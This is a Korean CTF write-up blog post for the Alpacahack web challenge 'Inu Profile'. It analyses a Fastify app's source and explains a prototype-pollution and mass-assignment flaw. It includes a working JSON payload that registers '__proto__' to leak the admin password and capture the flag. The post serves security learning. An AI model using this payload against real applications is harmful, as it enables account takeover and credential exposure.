Inu Profile

2026. 2. 11. 22:03·Alpacahack
반응형

Topic: JavaScript

분야: Web

난이도: Very Hard

I made a Web application that dogs can introduce themselves.


코드 분석

const app = fastify();
app.register(fastifyCookie);
app.register(fastifySession, {
    secret: crypto.randomBytes(16).toString('hex'),
    cookie: { secure: false }
});
  • 쿠키랑 세션 등록
  • secret과 cookie 설정
const DEFAULT_PROFILE = {
    'avatar': '\u{1f436}',
    'description': 'bow wow!'
};
  • DEFAULT_PROFILE 설정 (기본 프로필 설정)
  • avatar와 description을 설정해둠
let users = {
    admin: {
        password: crypto.randomBytes(16).toString('hex'),
        avatar: '\u{1f32d}',
        description: 'I am admin!'
    }
}
  • users 설정
  • admin 이라는 계정(키) 있고, 값으로 password, avatar, description 설정
  • password는 16바이트 랜덤 값(hex)
  • avatar(🌭 임)와 description(I'm admin!)은 설정해 둠
const indexHtml = await fs.readFile('./index.html');
app.get('/', async (req, res) => {
    return res.type('text/html').send(indexHtml);
});
  • ./index.html을 읽고 indexHtml에 저장함
  •  / 로 GET 요청 오면 실행 
  • Content-Type은 text/html로 설정, indexHtml 내용을 바디로 보내서 응답을 함
app.get('/admin', async (req, res) => {
    const { username } = req.session;
    if (!req.session.hasOwnProperty('username') || username !== 'admin') {
        return res.send({ 'message': 'you are not an admin...' });
    }

    return res.send({ 'message': `Congratulations! The flag is: ${FLAG}` });
});
  • /admin 요청 시 실행
  • 세션과 username의 값(= admin) 인지 검사함
    username이 admin이 아니거나 username 키가 없으면 거부
function getFilteredProfile(username) {
    const profile = users[username];
    const filteredProfile = Object.entries(profile).filter(([k]) => {
        return k in DEFAULT_PROFILE; // default profile has the key, so we can expose this key
    });
    
    return Object.fromEntries(filteredProfile);
}
  • getFilteredProfile() 함수는 username을 매개변수로 받음
  • profile에 users의 username의 값 넣음
    ex) users["admin"] → {password:.. , avatar: ... , description ... } 가져옴
  • fileteredProfile
    • Object.entries(profile): 프로필 객체를 [key , value] 쌍으로 변환
    • .filter(([k]) => { return k in DEFAULT_PROFILE; }: [key : value] 중 key만 꺼내서 (k), DEFAULT_PROFILE에 그 key가 존재하는 것만 남김.
      결국 DEFAULT_PROFILE가 허용 필드 목록 역할
  • 다시 {key : value} 형태의 객체로 반환
app.get('/profile', async (req, res) => {
    const { username } = req.session;
    if (username == null) {
        return res.send({ 'message': 'please log in' });
    }

    return res.send(getFilteredProfile(username));
});
  • /profile 요청 시 실행
  • 세션 객체의 username이라는 프로퍼티를 꺼내서, 같은 이름 변수 username에 담음
  • username이 없으면 please log in 문구 출력
  • 성공 시, getFilteredProfile() 함수 실행
app.get('/profile/:username', async (req, res) => {
    const { username } = req.params;

    if (!users.hasOwnProperty(username)) {
        return res.send({ 'message': `${username} does not exist` });
    }

    return res.send(getFilteredProfile(username));
});
  • /profile/username 요청 시 실행
  • params 객체의 username이라는 프로퍼티를 꺼내서, 같은 이름 username에 담음
  • users의 객체에 username의 키가 없으면 없다고 응답
  • 아니면 getFilteredProfile() 함수 실행
app.post('/register', async (req, res) => {
    const { username, password, profile } = req.body;

    if (username == null || password == null || profile == null) {
        return res.send({ 'message': `username, password, or profile is not provided` });
    }

    // no hack, please
    if (typeof username !== 'string' || typeof password !== 'string') {
        return res.send({ 'message': 'what are you doing?' });
    }

    if (users.hasOwnProperty(username)) {
        return res.send({ 'message': `${username} is already registered` });
    }

    // set default value for some keys if the profile given doesn't have it
    users[username] ??= { password, ...DEFAULT_PROFILE };

    // okay, let's update the database
    for (const key in profile) {
        users[username][key] = profile[key];
    };

    req.session.username = username;
    return res.send({ 'message': 'ok' });
});
  • /register 등록 처리
  • username, password, profile이 없으면 메시지 출력
  • username과 password가 문자형이 아니면 메시지 출력
  • user의 같은 키(username)이 있으면 메시지 출력
  • users[username]이 null / undefined일 때만 오른쪽 값 대입
  • profile의 모든 키를 순회하면서 users[username][key]에 그대로 복사/대입 함
    ex) profile이 { password : "admin"} 이면 password도 바뀜
  • 등록 성공 시 세션의 username에 username 저장
app.post('/login', async (req, res) => {
    const { username, password } = req.body;

    if (username == null || password == null) {
        return res.send({ 'message': `username, or password is not provided` });
    }

    // no hack, please
    if (typeof username !== 'string' || typeof password !== 'string') {
        return res.send({ 'message': 'what are you doing?' });
    }

    if (!users.hasOwnProperty(username)) {
        return res.send({ 'message': `${username} does not exist` });
    }

    if (users[username].password !== password) {
        return res.send({ 'message': 'password does not match' });
    }

    req.session.username = username;
    return res.send({ 'message': 'ok' });
});
  • /login 로그인 처리
  • username이나 password가 null 이면 메시지 출력
  • username이나 password가 문자열이 아니면 메시지 출력
  • users 객체의 같은 키(username)가 아니면 메시지 출력
  • users의 username의 비밀번호와 입력한 password가 다르면 메시지 출력
  • 세션 객체의 username과 username이 같으면 메시지 출력

취약점 분석

/register의 Mass Assignment(무제한 덮어쓰기)

for (const key in profile) {
  users[username][key] = profile[key];
}
  • profile에 들어오는 모든 키를 제한 없이 users[username]에 씀
    즉, avatar/description 같은 필드뿐 아니라 password, username 같은 인증 관련 필드도 마음대로 세팅 가능

profile 타입 미검증 + for .. in 사용

  • profile이 객체인지 검사 없음
  • for .. in 은 열거 가능한 프로퍼티를 프로토타입 체인까지 순회 가능

=> Prototype Pollution 위험성


익스플로잇

먼저 guest : guest로 register을 수행

다음과 같은 요청을 확인할 수 있음

 

prototype pollution을 이용

{
	"username":"__proto__",
        "password":"guest",
        "profile":{"avatar":"",
    	           "description":"",
     	           "password": "pollution"
        }
}

다음과 같이 작성해주면

200 OK 응답을 받음

 

그러고 나서 /profile/admin 응답을 확인해보면

password가 key에 포함되어 온 것을 확인할 수 있다.

 

이 비밀번호로  admin : password 로그인하고 /admin 엔드포인트에 접근해보면

플래그 획득


 

왜 이렇게 된걸까?

 

결론 요약은 username="__proto__" 로 등록 요청을 보낼 때 profile에 들어있던 키들(ex: password, avatar, description) 이 Object.prototype( 또는 users의 프로토타입)에 심겨서, 이후 필터라 in을 쓰는 바람에 허용 키로 착각해 노출된다.

 

/register 에서 다음과 같은 코드를 확인했을 것이다.

for (const key in profile) {
  users[username][key] = profile[key];
}
  • username="__proto__" 면 users["__proto__"]가 프로토타입 통로가 될 수 있음
    • Object.prototype[key] = profile[key] 같은 효과가 남

즉, profile에 어떤 키가 있냐에 따라 결정함

 

그 다음 getFilteredProfile() 에서

k in DEFAULT_PROFILE

DEFAULT_PROFILE에 password가 없어도 부모(Object.prototype)에 password가 생겨서

"password" in DEFAULT_PROFILE === true

이게 통과가 됨

 

따라서 username에 __proto__ 하면 키가 password, avatar, description 이 생겨서 password가 노출이 됨

반응형

'Alpacahack' 카테고리의 다른 글

Log Viewer  (0) 2026.02.20
You are being redirected  (0) 2026.02.16
Plz Login  (0) 2026.02.09
Xmas Login  (0) 2026.02.06
Magic Engine  (0) 2026.02.05
'Alpacahack' 카테고리의 다른 글
  • Log Viewer
  • You are being redirected
  • Plz Login
  • Xmas Login
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    xss
    webhacking
    hacking
    webstudy
    JS
    JavaScript
    cve
    LLM
    alpacahack
    web
    CSRF
    드림핵
    DreamHack
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
Inu Profile
상단으로

티스토리툴바